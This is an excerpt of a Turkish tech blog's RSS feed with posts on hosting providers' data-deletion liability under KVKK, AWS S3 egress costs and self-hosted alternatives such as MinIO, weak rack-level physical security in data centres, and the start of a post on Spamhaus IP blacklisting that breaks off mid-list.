<h3>2. Hosting Firmasının Savunması:</h3>
<p><em>"Taraflar arasında akdedilen Mesafeli Hizmet Sözleşmesi'nin 8. maddesinde açıkça yazmaktadır: 'Vadesi geçen faturalarda 7 gün içinde ödeme yapılmaması halinde sunucu kaynakları sistemden kalıcı olarak silinir. Sağlayıcı yedek tutmakla yükümlü değildir.' Müşteri bu sözleşmeyi onaylayarak hizmet almıştır. Sağlayıcı faturası ödenmeyen bir hizmeti sonsuza kadar kendi maliyetiyle barındırmak zorunda bırakılamaz."</em></p>
<hr>
<h2>Emsal Kararlar ve Yargıtay Yaklaşımı: İki Tarafı da Yakan Sonuç</h2>
<p>Türk yargısında bu davalar genellikle tek bir tarafın mutlak zaferiyle sonuçlanmaz:</p>
<ol>
<li><strong>Sağlayıcı Açısından Risk:</strong><br>
Eğer hosting firması faturanın geciktiğini müşteriye <strong>ispatlanabilir yollarla (SMS, iadeli taahhütlü posta, kayıtlı telefon araması)</strong> bildirmeden, sadece müşterinin spam kutusuna düşen bir <code>noreply@</code> mailine güvenerek 48 saatte silme işlemi yaptıysa; mahkemeler sağlayıcıyı <strong>"Ağır Hizmet Kusuru"</strong> ve <strong>"Basiretsiz Tacir"</strong> ilan ederek tazminata mahkum edebilmektedir!</li>
<li><strong>Müşteri Açısından Risk:</strong><br>
Müşteri KVKK Kurumu'na gittiğinde Kurul çoğu zaman şu cevabı verir: <em>"Veri sorumlusu sizsiniz. Verilerinizi tek bir sağlayıcının yerel diskine emanet edip harici yedekleme almayarak 'Teknik ve İdari Tedbirleri' ihlal eden sizsiniz!"</em> Müşteri haklı çıkmaya çalışırken KVKK'dan kendi şirketine <strong>yüz binlerce liralık "Yetersiz Veri Güvenliği Önlemi" cezası</strong> kestirebilir!</li>
</ol>
<hr>
<h2>Kurumsal İmmünoloji: Hukuki Kalkan Nasıl İnşa Edilir?</h2>
<p>Bu kabusla mahkeme kapılarında karşılaşmamak için her iki tarafın da alması gereken profesyonel tedbirler vardır:</p>
<h3>Hosting Firmaları İçin Hukuki Zırh:</h3>
<ul>
<li><strong>Silme Süresini Makul Tutun:</strong> 3 gün veya 7 günde doğrudan veri imhası (Terminate) yapmak hukuken risklidir. Askıya alma (Suspend) süresini en az <strong>15 ila 30 gün</strong> arasında tutun.</li>
<li><strong>Kademeli İletişim Protokolü:</strong> Sadece e-posta ile yetinmeyin. Silme işleminden 48 saat önce müşterinin profiline kayıtlı cep telefonuna SMS fırlatın ve çağrı merkezinden sesli arama kaydı oluşturun.</li>
<li><strong>Sözleşmeyi Güncelleyin:</strong> Sözleşmenize <em>"Müşteri kendi verilerinin bağımsız yedeğini almakla münhasıran yükümlüdür. Sağlayıcı bir veri yedekleme garantisi taahhüt etmez"</em> maddesini kalın puntolarla ekletin.</li>
</ul>
<h3>Müşteriler İçin Hayatta Kalma Kuralı:</h3>
<ul>
<li>Hukuki zaferler silinen verilerinizi geri getirmez. Mahkemeyi 3 yıl sonra kazansanız ve tazminat alsanız bile şirketiniz o 3 yılda batmış olacaktır.</li>
<li>Hukuka değil, <strong>soğuk mantığa ve bağımsız yedeklemeye</strong> güvenin. Başkasının sunucusunda duran verinin mülkiyeti sizde değildir; ancak kendi elinizdeki harici diskte duran veri sizindir.</li>
</ul>
<h2>Sonuç</h2>
<p>Hastanenin tahlil faturasını ödemeyip hasta dosyaları silinince "Bakanlığa şikayet edeceğim" diyen yöneticinin tavrı ne kadar sorumsuzsa; faturası 3 gün gecikti diye 10 yıllık veriyi acımasızca imha eden sağlayıcının tavrı da o kadar basiretsizdir.</p>
<p>KVKK bir sihirli değnek veya ihmalleri örten bir af kanunu değildir; taraflara sorumluluk yükleyen katı bir çerçevedir. Hukuk metinleri kriz anında sizi tazminatla teselli edebilir; ancak silinen bir veritabanını hiçbir mahkeme kararı geri getiremez. Haklarınızı bilin; ama verinizin güvenliğini asla bir başkasının insafına ve sözleşme maddelerine terk etmeyin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>KVKK</category>
            <category>Veri Sorumlusu</category>
            <category>Veri İşleyen</category>
            <category>Hukuk</category>
            <category>Hosting</category>
            <category>Sözleşme</category>
            <category>Veri Kaybı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kvkk-ve-veri-sorumlusu-cikmazi-yedekleri-silinen-musterinin-hukuki-saldirisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Yerli Nesne Depolama Yerine AWS S3 Sevdası ve Egress Fatura Şoku]]></title>
            <link>http://localhost:3000/blog/post/yerli-nesne-depolama-yerine-aws-s3-sevdasi-ve-egress-fatura-soku</link>
            <guid>yerli-nesne-depolama-yerine-aws-s3-sevdasi-ve-egress-fatura-soku</guid>
            <pubDate>Sun, 21 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA['Biz kurumsaldan şaşmayız' diyerek tüm medya ve yedeklerini AWS S3'e yükleyen, ancak dosya indirme (Egress) maliyetleriyle gelen 15 bin dolarlık faturayı görünce MinIO ve Ceph'e kaçan şirketler.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yerli-nesne-depolama-yerine-aws-s3-sevdasi-ve-egress-fatura-soku/thumbnail" alt=""> Taşradaki bir cerrahi araştırma enstitüsünün, hastaların dondurulmuş biyolojik doku ve nadir kan plazması numunelerini saklamak için bir depolama kararı aldığını hayal edin. Enstitünün kendi bahçesinde elektrik kesintisine dayanıklı, -80 derece modern kriyojenik depoları vardır. Ancak yeni atanan idareci, "Taşra zihniyetini bırakalım, biz uluslararası vizyona sahibiz, tüm doku numunelerimizi İsviçre Zürih'teki Alplerin içine oyulmuş ultra lüks bir kasada saklayacağız!" der. Numuneler uçakla Zürih'e gönderilir. Kasa şirketi güler yüzlüdür: <em>"İçeriye malzeme koymak (Ingress) tamamen ücretsizdir, istediğiniz kadar tüp getirin!"</em> Enstitü mutlu olur. Ancak bir gün acil bir hasta için o numunelerden 500 tüpün geri getirilmesi gerekir. Zürih'teki banka faturayı uzatır: <em>"İçeri koymak bedavaydı; ancak kapıdan dışarı çıkardığınız (Egress / Bandwidth Out) her bir tüp için 500 Frank tahliye harcı alırız!"</em> Enstitünün önüne 250 bin Franklık fahiş bir fatura konur. Bütçe iflas eder, numuneler rehin kalır ve hasta masada kaybedilir.</p>
<p>Türkiye'deki yazılım ekiplerinin ve e-ticaret şirketlerinin <strong>AWS S3 (Simple Storage Service)</strong> aşkı ve ay sonunda karşılaştıkları <strong>"Egress Traffic (Dışarı Çıkan Veri Trafiği)"</strong> faturası, tam olarak bu Zürih kasası sendromudur.</p>
<hr>
<h2>"İçeri Girmek Bedava, Dışarı Çıkmak Servet": Bulutun Otoban Gişesi</h2>
<p>Amazon Web Services (AWS) dünyanın en güvenilir, en dayanıklı (%99.999999999 / 11 Nines) nesne depolama altyapısına sahiptir. S3'e koyduğunuz bir dosyanın kaybolma ihtimali teorik olarak sıfırdır.</p>
<p>Geliştiriciler AWS S3'ün fiyat sayfasına bakar:<br>
<code>"GB başına depolama: Sadece 0.023 $ (Yaklaşık 2 cent)"</code></p>
<p>Geliştirici hesap yapar: <em>"1 Terabayt dosya atsak ayda sadece 23 Dolar! Harika, tüm kullanıcı avatarlarını, PDF faturaları, ürün videolarını ve günlük 50 GB'lık veritabanı yedeklerimizi S3'e yükleyelim!"</em></p>
<p>Ancak geliştiricinin görmezden geldiği o sinsi tuzak, tablonun en altındaki satırda gizlidir: <strong>Data Transfer OUT (Egress Traffic).</strong></p>
<pre><code>+------------------------------------------------------------------------+
|                          AWS S3 FİYAT TUZAĞI                           |
|                                                                        |
|  Veriyi S3'e Yüklemek (Data Transfer IN)   : 0.00 $ / GB (BEDAVA! 🟢)   |
|  Veriyi S3'te Saklamak (Storage)           : 0.023 $ / GB (ÇOK UCUZ! 🟢)|
|                                                                        |
|  Veriyi S3'ten Dışarı İndirmek (Data OUT)  : 0.09 $ / GB! (FELAKET! 🔴) |
|  API İstekleri (GET / PUT / LIST)          : 10.000 istekte ekstra para!|
+------------------------------------------------------------------------+
</code></pre>
<p>Veriyi içeri alırken kapılar ardına kadar açıktır; ancak o veriyi internete sunmaya veya kendi yerel sunucunuza geri indirmeye kalktığınızda, depolama maliyetinin <strong>tam 4 ila 5 katı</strong> bir çıkış faturasıyla yüzleşirsiniz!</p>
<hr>
<h2>Patolojinin Gelişimi: Ay Sonu Finans Depremi</h2>
<p>Bir mobil uygulama veya dijital yayın platformu düşünün:</p>
<ul>
<li>Şirket S3'e 10 Terabayt video ve görsel yüklemiştir. (Aylık Depolama: <code>10.000 GB x 0.023$ = 230 $</code>).</li>
<li>Uygulama aniden popüler olur, yüz binlerce kullanıcı videoları izlemeye başlar.</li>
<li>Ay içinde toplamda <strong>80 Terabaytlık</strong> dosya indirme (Egress) gerçekleşir.</li>
</ul>
<p>Ay sonunda finans müdürünün masasına düşen AWS faturası şok edicidir:</p>
<pre><code class="language-text">AWS Billing Statement:
- S3 Storage Usage (10 TB)                  : 230.00 $
- S3 PUT/LIST Requests                      : 45.10 $
- Data Transfer OUT to Internet (80.000 GB) : 7.200.00 $ 🔴
------------------------------------------------------------
TOPLAM FATURA                               : 7.475.10 $ (Yaklaşık 270.000 TL!)
</code></pre>
<p>Şirket sahibi IT müdürünü odaya çağırır: <em>"Biz 230 dolarlık disk kullanmışız, bu 7.200 dolarlık internet faturası nedir?! Şirketin tüm aylık kârı Amazon'a gitti!"</em></p>
<p>Dolar kurunun da her gün yükseldiği bir ülkede, bu fatura bir start-up'ı veya orta ölçekli bir KOBİ'yi 3 ay içinde iflasa sürükleyebilir.</p>
<hr>
<h2>Panikle Kaçış: Yerli Nesne Depolama ve S3 Uyumlu Açık Kaynak</h2>
<p>Fatura şokunu yaşayan mühendislerin ilk refleksi AWS'den kaçış planı yapmaktır. Ancak burada da ikinci bir şok yaşanır: <strong>10 TB'lık veriyi AWS'den indirmek bile 900 Dolar tutacaktır!</strong> Yine de bu cerrahi tahliye yapılmak zorundadır.</p>
<p>Peki dünya nereye gidiyor? Alternatif nedir?</p>
<h3>1. MinIO: Kendi Sunucunuzda Kendi S3'ünüzü Kurmak</h3>
<p><strong>MinIO</strong>, açık kaynaklı, yüksek performanslı ve %100 <strong>S3 API Uyumlu</strong> bir nesne depolama yazılımıdır.</p>
<ul>
<li>Kodunuzdaki hiçbir AWS SDK satırını değiştirmeniz gerekmez! Sadece <code>endpoint</code> URL'sini <code>s3.amazonaws.com</code> yerine kendi yerel sunucunuzun IP'sine (<code>minio.sirket.com</code>) çevirirsiniz.</li>
<li>Türkiye'deki yerel bir veri merkezinde aylık 50-100 Euro'ya kiralayacağınız 8x 4TB diskli bir Dedicated depolama sunucusuna MinIO kurarsınız.</li>
<li>İster 100 TB indirin, ister 500 TB; <strong>Egress faturası: 0 TL!</strong></li>
</ul>
<pre><code class="language-bash"># Docker ile 10 Saniyede S3 Uyumlu MinIO Ayağa Kaldırma:
docker run -d \
  -p 9000:9000 -p 9001:9001 \
  --name minio-storage \
  -v /mnt/data:/data \
  -e "MINIO_ROOT_USER=admin" \
  -e "MINIO_ROOT_PASSWORD=CokGucluSifre123" \
  minio/minio server /data --console-address ":9001"
</code></pre>
<hr>
<h3>2. Ceph Object Gateway (RADOS GW): Kurumsal Petabayt Mimarisi</h3>
<p>Eğer terabaytlar değil, petabaytlarca medya saklıyorsanız, Linux dünyasının en kararlı dağıtık depolama kümesi olan <strong>Ceph</strong> devreye girer.</p>
<ul>
<li>5 farklı fiziksel sunucunun diskleri tek bir havuzda birleştirilir.</li>
<li>Disklerden 2 tanesi yansa bile veri kaybı yaşanmaz (Self-healing).</li>
<li>Önüne konulan RGW (RADOS Gateway) ile sistem doğrudan S3 protokolüyle konuşur.</li>
</ul>
<h3>3. Cloudflare R2: "Sıfır Egress" Devrimi</h3>
<p>Eğer kendi sunucunuzu yönetmek istemiyorsanız ve bulutta kalmak zorundaysanız; modern dünyada AWS S3'ün en büyük katili <strong>Cloudflare R2</strong>'dir:</p>
<ul>
<li>S3 ile %100 uyumludur.</li>
<li>En can alıcı özelliği: <strong>DATA TRANSFER (EGRESS) TAMAMEN ÜCRETSİZDİR (0 $)!</strong></li>
<li>Milyonlarca kullanıcı dosyanızı indirse bile sadece sakladığınız GB başına para ödersiniz; çıkış trafiğine tek bir cent bile ödemezsiniz.</li>
</ul>
<hr>
<h2>Mimari Karar Ağacı: Hangi Veri Nerede Durmalı?</h2>
<p>Bir teknoloji liderinin görevi "en havalı" logoyu seçmek değil; şirketin finansal damarlarını korumaktır:</p>
<pre><code>[VERİ SINIFLANDIRMA PROTOKOLÜ]

1. Soğuk Arşiv ve Felaket Yedekleri (Yılda 1 kez indirilecek veriler):
   --> AWS S3 Glacier / Deep Archive (Kullanılabilir, çünkü dışarı çıkış nadirdir).

2. Canlı Medya, Kullanıcı Videoları ve Statik Varlıklar (Sürekli İndirilenler):
   --> ASLA ÇIPLAK S3'TE TUTULAMAZ!
   --> Çözüm: Ya Cloudflare R2 ya da Türkiye içinde çalışan yerel MinIO / Ceph kümesi!

3. Hibrit Model:
   --> Veriyi yerel MinIO'da tutun; önbellekleme (CDN) için önüne Cloudflare koyun.
</code></pre>
<h2>Sonuç</h2>
<p>Kan numunelerini İsviçre'ye gönderip geri alırken iflas eden hastane nasıl basiretsizce yönetilmişse; aylık 200 dolarlık disk için 7.000 dolar internet faturası ödeyip "Biz AWS kullanıyoruz" diye övünen şirket de öyle basiretsizdir.</p>
<p>Bulut mimarisi bir teknoloji cenneti değil; her bir baytın faturasının soğuk matematik kurallarıyla kesildiği ticari bir ekosistemdir. Egress maliyetlerini ve kur riskini hesaplamadan girilen küresel bulut sevdası, şirketinizi büyütemez; sadece yabancı bulut devlerinin bilançosuna kurban eder. Verinizi nerede saklayacağınızı seçerken etiketlere değil; faturanın en altındaki gizli çıkış gişelerine bakın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>AWS S3</category>
            <category>Object Storage</category>
            <category>MinIO</category>
            <category>Ceph</category>
            <category>Egress Traffic</category>
            <category>Bulut Bilişim</category>
            <category>Maliyet</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yerli-nesne-depolama-yerine-aws-s3-sevdasi-ve-egress-fatura-soku/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Biyometrik Kapıların Arkasındaki Açık Kabinler: Güvenlik İllüzyonu]]></title>
            <link>http://localhost:3000/blog/post/biyometrik-kapilarin-arkasindaki-acik-kabinler-guvenlik-illuzyonu</link>
            <guid>biyometrik-kapilarin-arkasindaki-acik-kabinler-guvenlik-illuzyonu</guid>
            <pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Girişine retina tarayıcılar ve mantar bariyerler koyup kurumsallık satan veri merkezlerinde, sunucu odasına girildiğinde kabin kapaklarının kilitsiz bırakılması ve yanlış kablo çekme trajedileri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/biyometrik-kapilarin-arkasindaki-acik-kabinler-guvenlik-illuzyonu/thumbnail" alt=""> Büyük bir özel hastanenin ana binasını düşünün. Tesisin bahçe kapısında çelik mantar bariyerler, x-ray cihazları ve silahlı güvenlik görevlileri bekler. Binaya girerken retina tarayıcıdan, parmak izi okuyucudan geçersiniz; kimliğinizi teslim edip yakanıza biyometrik akıllı kart takarlar. Dışarıdan bakan bir hasta yakını kendini Pentagon seviyesinde bir koruma altında zanneder. Ancak asansörle cerrahi ameliyathane katına çıktığınızda dehşet verici bir gevşeklikle karşılaşırsınız: Yoğun bakım odalarının kapıları açıktır, kırmızı reçeteli morfin ve fentanil dolaplarının anahtarları kilitlerin üzerinde sallanmaktadır ve ameliyat masalarının arasındaki perdeler bile çekilmemiştir! Yoldan geçen bir refakatçi, kendi hastasının serumunu ararken elini uzatıp yan masada yatan kalp nakli hastasının ana yaşam destek fişini veya trakeostomi tüpünü yanlışlıkla yerinden söker! Girişteki o fütüristik retina tarayıcıların, x-ray cihazlarının ve silahlı korumaların o an ameliyat masasındaki hastanın hayatına tek bir kuruşluk faydası var mıdır? Sıfır. Çünkü güvenlik kapıda sergilenen bir tiyatro değil; hastanın tenine dokunan son noktada sağlanan bir izolasyondur.</p>
<p>Veri merkezlerinde (Data Center) ve sunucu barındırma (Colocation) tesislerinde <strong>"Fiziksel Güvenlik İllüzyonu"</strong> tam olarak bu hastane skandalının silikon dünyasındaki eşdeğeridir.</p>
<p>Satış temsilcileri müşteriyi gezdirirken lobideki parmak izi okuyucuları, çift kapılı tuzak geçişleri (mantrap) ve 4K güvenlik kameralarını göstererek kurumsallık pazarlar. Ancak kartı okutup beyaz alana (White Space) adım attığınızda; kabin kapaklarının ardına kadar açık bırakıldığı, anahtarların kilitlerin üzerinde unutulduğu ve bir teknisyenin tek bir yanlış hamleyle rakip şirketin sunucusunu fişten çekebileceği bir kaosla burun buruna gelirsiniz.</p>
<hr>
<h2>Savunma Derinliği (Defense in Depth) ve Vitrin Güvenliği</h2>
<p>Bilgi güvenliğinin temel prensibi olan <strong>Savunma Derinliği (Defense in Depth)</strong>, sistemin katmanlar halinde ve merkezdeki varlığa yaklaştıkça daha sıkı kilitlenmesini emreder.</p>
<p>Fiziksel veri merkezlerinde bu katmanlar şunlardır:</p>
<ol>
<li><strong>Çevre Güvenliği:</strong> Bahçe çitleri, bariyerler, CCTV.</li>
<li><strong>Bina Girişi:</strong> X-Ray, kimlik kontrolü, ziyaretçi kayıt defteri.</li>
<li><strong>Beyaz Alan Girişi:</strong> Biyometrik kilitler (parmak izi / yüz tanıma), hava kilitli çift kapılar (Mantrap).</li>
<li><strong>KORİDOR VE KABİN GÜVENLİĞİ (Asıl Hedef!):</strong> Sunucunun fiziksel kasasını koruyan kilitli kabin kapakları!</li>
</ol>
<pre><code>[VİTRİN: MÜKEMMEL]
- 1. Katman (Çevre): 10/10 🟢
- 2. Katman (Bina Girişi): 10/10 🟢
- 3. Katman (Beyaz Alan Kapısı): 10/10 🟢

[GERÇEK: KATLİAM]
- 4. Katman (KABİN KİLİDİ): 0/10! 🔴
  (Kapaklar açık, kilitler kırık, herkes birbirinin kabinine dokunabiliyor!)
</code></pre>
<p>İşte Türkiye'deki ve dünyadaki birçok tesisin yaptığı hata, tüm bütçeyi ilk 3 katmana (yani müşterinin gördüğü vitrine) gömmek; asıl verinin yaşadığı 4. katmanı ise mutlak bir disiplinsizliğe terk etmektir.</p>
<hr>
<h2>Beyaz Alandaki Kabus: "Yanlış Kabloyu Çektim Abi!"</h2>
<p>Sunucu barındırma (Colocation) koridorlarında farklı şirketlerin, bankaların, e-ticaret sitelerinin ve rakip yazılım firmalarının sunucuları yan yana kabinlerde durur.</p>
<p>Tipik bir Cuma gecesi yaşanan facia senaryosu şöyledir:</p>
<ol>
<li><strong>Teknisyen Bakıma Gelir:</strong><br>
A firmasının sistem yöneticisi, 12 numaralı kabindeki arızalı diskini değiştirmek için izin alır, biyometrik kapılardan geçip içeri girer.</li>
<li><strong>Kabinler Kilitli Değildir:</strong><br>
12 numaralı kabinin kapağı açıktır; ancak hemen yanındaki 13 numaralı kabinin de kapağı açıktır (çünkü gündüz başka bir teknisyen anahtarı üzerinde unutmuştur veya menteşesi bozuktur).</li>
<li><strong>Karanlık ve Gürültü:</strong><br>
Sunucu odasında 85 desibel fan gürültüsü vardır, kulaklık takılıdır ve zemin loştur.</li>
<li><strong>Ölümcül Dokunuş:</strong><br>
Teknisyen 12 numaralı kabindeki sunucunun güç kablosunu çekmek ister. Ancak kablo karmaşası (cable spaghetti) yüzünden elini yanlışlıkla 13 numaralı kabinin arkasına uzatır.<br>
<code>PDU Port 4: Güç Kablosu ÇEKİLDİ!</code></li>
<li><strong>Kollaps:</strong><br>
Çekilen kablo, Türkiye'nin en büyük e-ticaret sitelerinden birinin ana veritabanı sunucusunun beslemesidir! Sunucu anında kararır, veritabanı çöker ve site tüm dünyada <code>502 Bad Gateway</code> basmaya başlar.</li>
</ol>
<p>Teknisyen durumu fark eder, korkuyla kabloyu geri takar; ancak iş işten geçmiştir. Dosya sistemi bozulmuş, binlerce sipariş askıda kalmıştır.</p>
<hr>
<h2>"Yetkisiz Erişim" ve Veri Hırsızlığı Riski</h2>
<p>Açık bırakılan bir kabin sadece kazalara değil; doğrudan siber ve fiziksel casusluğa da davetiyedir.</p>
<p>Biyometrik kapıdan geçen bir şahsın niyetini bilemezsiniz. Kendi sunucusuna bakım yapma bahanesiyle içeri giren bir rakip teknisyen veya kötü niyetli bir çalışan:</p>
<ul>
<li>Yan kabindeki sunucunun arkasına uzanıp boş bir USB portuna kötü amaçlı bir <strong>Rubber Ducky (Otomatik Klavye Enjeksiyon Cihazı)</strong> takabilir.</li>
<li>Konsol portuna (Serial Console / RJ45) bir donanım dinleme aparatı (Hardware Keylogger) iliştirebilir.</li>
<li>Ya da sunucunun hot-swap disk kızaklarından birini mandalından çekip cebine atabilir!</li>
</ul>
<p>Duvardaki kameralar geniş açılıdır; kabinin içine giren bir eli, çıkarılan küçük bir USB belleği veya çekilen bir kabloyu mikroskobik olarak ayırt edemez.</p>
<hr>
<h2>Gerçek Fiziksel Güvenlik Standartları</h2>
<p>Gerçek bir Tier III veya Tier IV veri merkezinde fiziksel güvenlik kabin kapağında biter. Profesyonel bir tesiste şu standartlar tavizsiz uygulanır:</p>
<pre><code>[KURUMSAL KABİN GÜVENLİK STANDARDI]

1. Elektronik Şifreli / Kartlı Kabin Kilitleri (Smart Rack Locks):
   - Her kabinin kapısında bağımsız bir RFID kart okuyucu veya şifreli panel bulunur.
   - Teknisyenin kartı YALNIZCA KENDİ KABİNİNİN kilidini açar!
   - 13 numaralı kabinin kapağına dokunamaz bile.

2. Kabin Kapağı Açılma Alarmları (Microswitch Sensors):
   - Bir kabin kapağı açıldığı anda merkezi NOC (Network Operations Center)
     ekranında kırmızı ışık yanar ve koridordaki kamera doğrudan o kabine zoom yapar.
   - Kapak 5 dakikadan fazla açık kalırsa sesli siren çalar.

3. Bölümlendirilmiş Kafes (Cage) Mimarisi:
   - Kritik kurumsal müşterilerin sunucuları genel koridorda tutulmaz;
     çelik tel örgülerle izole edilmiş kilitli özel kafes odalara konulur.

4. Kablo Düzeni ve Etiketleme Disiplini:
   - Her güç ve ağ kablosunun her iki ucunda silinmez barkodlu etiketler bulunur.
   - Güç kabloları PDU'ya kilitli soketlerle (Locking C13/C14) bağlanır;
     yanlışlıkla çekilse bile prizden çıkmaz!
</code></pre>
<h2>Sonuç</h2>
<p>Hastanenin bahçe kapısına retina tarayıcı koyup ameliyathanede narkotik dolabını açık bırakan zihniyet hastayı koruyamaz; lobiye turnike dizip beyaz alandaki sunucu kabinlerini kilitsiz bırakan veri merkezi de verinizi koruyamaz.</p>
<p>Fiziksel güvenlik bir vitrin süsü değil, kesintisiz bir zincirdir. Zincirin son halkası sunucunuzun önündeki o kilitli kapaktır. Bir veri merkezini incelerken lobideki fütüristik ekranlara kanmayın; sunucu odasına girin, kabinlerin kilitlerine elinizi atın. Eğer kapaklar sallanıyor ve anahtarlar kilitlerin üzerinde duruyorsa; o tesiste barınan verileriniz her an dikkatsiz bir teknisyenin çekeceği yanlış bir kablonun ucunda asılı duruyor demektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Fiziksel Güvenlik</category>
            <category>Veri Merkezi</category>
            <category>Biyometrik</category>
            <category>Kabin Güvenliği</category>
            <category>İnsan Hatası</category>
            <category>ISO 27001</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/biyometrik-kapilarin-arkasindaki-acik-kabinler-guvenlik-illuzyonu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[IP Kara Liste Temizleme Çıkmazı: Spamhaus ve İtibar Karaborsası]]></title>
            <link>http://localhost:3000/blog/post/ip-kara-liste-temizleme-cikmazi-spamhaus-ve-itibar-karaborsasi</link>
            <guid>ip-kara-liste-temizleme-cikmazi-spamhaus-ve-itibar-karaborsasi</guid>
            <pubDate>Fri, 19 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucudaki tek bir virüslü sitenin tüm /24 IP bloğunu Spamhaus ve Barracuda kara listelerine sokmasıyla başlayan 'IP değiştirme ücreti' şantajı ve temiz IP karaborsası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ip-kara-liste-temizleme-cikmazi-spamhaus-ve-itibar-karaborsasi/thumbnail" alt=""> Bir kasabanın tüm evlerine içme suyu dağıtan ana su şebekesini ve su deposunu düşünün. Kasabadaki yüzlerce aile, fırınlar, hastaneler bu depodan su içmektedir. Ancak mahalledeki sorumsuz bir mandıra sahibi, gecenin bir yarısı atık lağım suyunu ve kimyasal atıklarını bu ana su deposuna boşaltır. Ertesi sabah Sağlık Bakanlığı müfettişleri depodan numune alır: Su ölümcül kolera, tifo ve koli basili bakterileriyle kaynamaktadır! Müfettişler depoyu anında mühürler, kırmızı karantina şeridini çeker ve kasabanın tüm şebeke vanasını kapatır. Hiç kimse bir damla su alamaz. Kasaba halkı su şirketine koştuğunda ise şirket yöneticisi yüzsüzce şunu söyler: <em>"Depoyu komşunuz kirletti, bizim suçumuz yok. Depoyu klorlayıp temizletmek için bize 20.000 TL ödeyeceksiniz; ya da size arka bahçedeki özel arıtılmış damacanalardan fahiş fiyata temiz su kiralayacağız!"</em> Kirletilen temiz suyun faturası tüm kasabaya şantaj gibi kesilir.</p>
<p>Web barındırma ve veri merkezi sektöründe <strong>"IP Kara Liste (RBL - Real-time Blackhole List) Çıkmazı"</strong> ve Spamhaus blokajları, tam olarak bu kirletilen su kuyusunun dijital izdüşümüdür.</p>
<p>Tek bir dikkatsiz müşterinin hacklenmiş WordPress sitesi yüzünden tüm bir <code>/24</code> IP bloğu (256 adet IP) küresel posta otoriteleri tarafından aforoz edilir; ardından ortaya bir <strong>"Temiz IP Karaborsası"</strong> çıkar.</p>
<hr>
<h2>Dijital Karantina: RBL ve Spamhaus Nasıl Çalışır?</h2>
<p>Dünyadaki e-posta trafiğinin yaklaşık %85'i meşru olmayan spam, kimlik avı (phishing) ve zararlı yazılım dağıtımıdır.</p>
<p>Bu devasa çöp dalgasını engellemek için küresel bağımsız itibar otoriteleri kurulmuştur: <strong>Spamhaus (SBL/XBL/PBL/ZEN), Barracuda, SpamCop, Invaluement, Sorbs.</strong></p>
<p>Bu otoritelerin internet genelinde milyonlarca "Honeypot (Bal Küpü)" sahte e-posta adresi vardır.</p>
<ul>
<li>Eğer bir sunucu internette hiçbir yerde yayınlanmamış bu gizli honeypot adresine tek bir e-posta bile fırlatırsa,</li>
<li>Ya da bir sunucudan çıkan spam hacmi dakikada binleri aşarsa,</li>
<li>Spamhaus algoritmaları acımasız kararını verir: O IP adresi saniyeler içinde <strong>ZEN Kara Listesine</strong> yazılır!</li>
</ul>
<pre><code>[Müşteri X (Hacklenmiş WordPress)] ──► 1 Saatte 50.000 Phishing Maili Attı!
                                                │
                                                ▼
[Spamhaus Botları Yakaladı!] ─────────► IP: 185.120.45.12 LISTELENDİ! 🔴
                                                │
                                                ▼
[DİJİTAL VEBA SALGINI: /24 BLOK LEKELENDİ!]
Spamhaus der ki: "Bu veri merkezinin tüm 185.120.45.0/24 bloğu sabıkalıdır!"
                                                │
                                                ▼
[SONUÇ: AYNI BLOKTAKİ 200 MASUM ŞİRKET]
- Muhasebe mailleri Gmail'e gitmez!
- Teklif mailleri Outlook / Microsoft 365 tarafından çöpe atılır!
- 550 5.7.1 Service Unavailable: IP Rejected!
</code></pre>
<hr>
<h2>Patolojinin Gelişimi: Masumların İnfazı</h2>
<p>Pazartesi sabahı aynı sunucuda veya aynı IP bloğunda barınan bir avukatlık bürosu, bir lojistik şirketi ve bir e-ticaret sitesi e-posta gönderemez hale gelir.<br>
Attıkları her mail karşı taraftan geri seker (Bounce):<br>
<code>Remote server replied: 554 5.7.1 Service unavailable; Client host [185.120.45.14] blocked using Spamhaus ZEN.</code></p>
<p>Müşteri destek bileti açar:<br>
<em>"Biz kurumsal firmayız, spam atmadık, bizim maillerimiz neden engelleniyor?!"</em></p>
<p>İşte bu noktada merdiven altı sağlayıcıların <strong>Şantaj ve Fırsatçılık Mekanizması</strong> devreye girer:</p>
<ol>
<li><strong>İnkâr ve Geciktirme:</strong> Sağlayıcı ilk 3 gün sorunu kabul etmez: <em>"Karşı tarafın sunucusu yoğundur, bekleyin geçer."</em></li>
<li><strong>IP Değiştirme Haracı:</strong> Müşteri baskıyı artırdığında teklif gelir: <em>"IP adresiniz kirlenmiş efendim. Spamhaus'tan çıkması haftalar sürer. İsterseniz size aylık 5 Dolar (veya 150 TL) ek ücretle 'Tertemiz Statik IP' tahsis edelim!"</em></li>
<li><strong>Temiz IP İllüzyonu:</strong> Müşteri çaresizlikten parayı öder, yeni IP'ye geçer. Ancak sağlayıcı ana sunucudaki o virüslü müşteriyi temizlemediği için, yeni IP de 48 saat sonra tekrar Spamhaus'a düşer! Müşteri her ay yeni IP parası ödeyen bir sağımlık ineğe dönüştürülür.</li>
</ol>
<hr>
<h2>Spamhaus'tan Çıkış: Delisting Bürokrasisi Cehennemi</h2>
<p>Bir IP adresini kara listeden çıkarmak (Delist), adınızı uluslararası terör arananlar listesinden sildirmek kadar meşakkatli bir süreçtir.</p>
<p>Spamhaus bir ticari şirket değildir; laftan anlamaz, rüşvet almaz, hatır dinlemez.</p>
<p>Spamhaus kaldırma formuna girdiğinizde karşınıza şu şartlar dikilir:</p>
<ul>
<li><em>"Bu IP'den çıkan spam kaynağı (zararlı yazılım, açık relay veya sızılmış hesap) tamamen yok edildi mi?"</em></li>
